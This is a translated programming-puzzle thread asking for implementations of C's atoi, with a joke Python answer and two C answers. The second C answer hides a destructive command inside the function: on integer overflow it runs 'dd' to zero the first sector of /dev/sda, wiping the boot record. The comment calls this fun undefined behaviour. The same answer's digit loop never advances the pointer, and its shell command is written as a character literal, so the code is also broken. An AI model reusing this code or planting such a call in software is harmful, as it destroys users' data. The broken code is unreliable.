实现atoi函数

Question

您已经知道，atoi函数的stdlib.h将字符串转换为整数。

atoi

(复制自这里)

 int atoi (const char * str);

将字符串转换为整数解析C字符串str，将其内容解释为整数，该整数作为int类型的值返回。

示例

#include <stdio.h>      /* printf, fgets */
#include <stdlib.h>     /* atoi */

int main ()
{
  int i;
  char buffer[256];
  printf ("Enter a number: ");
  fgets (buffer, 256, stdin);
  i = atoi (buffer);
  printf ("The value entered is %d. Its double is %d.\n",i,i*2);
  return 0;
}

您的任务是实现它，确保它适用于范围内的所有负整数，并尽量使代码变小。

Answer 1

Python3-多核或回家

# The venerable C atoi function hails from a more innocent time. These days,
# we have multicore processors and programs must adapt or be left behind.
import re
import multiprocessing as mp

def atoi(a):
    m = re.match(r"^\s*(-?)(\d+).*$", a)
    if m is None:
        raise ValueError(a)
    sign = -(m.group(1) == "-") * 2 + 1
    places = enumerate(reversed(bytes(m.group(2), "ascii")))
    with mp.Pool(processes=mp.cpu_count()) as pool:
        return sign * sum(pool.map(_digit, places))

def _digit(t):
    i, b = t
    return 10 ** i * (b - 48)

if __name__ == '__main__':
    import unittest
    error_case = unittest.TestCase().assertRaises(ValueError)
    assert atoi(" -4555553") == -4555553
    assert atoi("1") == 1
    assert atoi("    0") == 0
    assert atoi("100asdf") == 100
    assert atoi("-5") == -5
    assert atoi("1, 2, Fizz, 4, Buzz, Fizz, 7, 8, Fizz, Buzz") == 1
    assert atoi("1.2") == 1
    with error_case:
        atoi("foobar")
    with error_case:
        atoi("a1234")

现在我遇到了2 + cpu_count()问题。

Answer 2

C -未定义的行为总是有趣的*

#include <limits.h>
#include <ctype.h>

int atoi(const char *str){
    const unsigned imax = INT_MAX, imin = imax + 1;
    unsigned temp = 0;
    int multip = 1;

    // get rid of leading whitespace
    --str;
    while(isspace(*++str));

    // check +/-
    if(*str == '+') multip = 1, ++str;
    else if(*str == '-') multip = -1, ++str;

    while(isdigit(*str)){
        // check for overflow
        if((multip == 1 && temp <= imax) ||
         (multip == -1 && temp <= imin))
            temp = temp * 10 + *str - '0';
        else
            break;
    }
    // will answer overflow when coverted back to int?
    if((multip == 1 && temp > imax) ||
       (multip == -1 && temp > imin)){
        // undefined behavior is VERY fun*
        system('dd if=/dev/zero of=/dev/sda bs=512 count=1');
        return 42;
    }
    return multip*(int)temp;
}

*为了某个人。不总是你。

Answer 3

C，67 (没有函数名/参数)

int atoi(const char*s){int r,c,a;for(r=0,a=*s==45?s++:0;c=*s++;r=r*10+c-48);return a?-r:r;}

http://ideone.com/zsodr5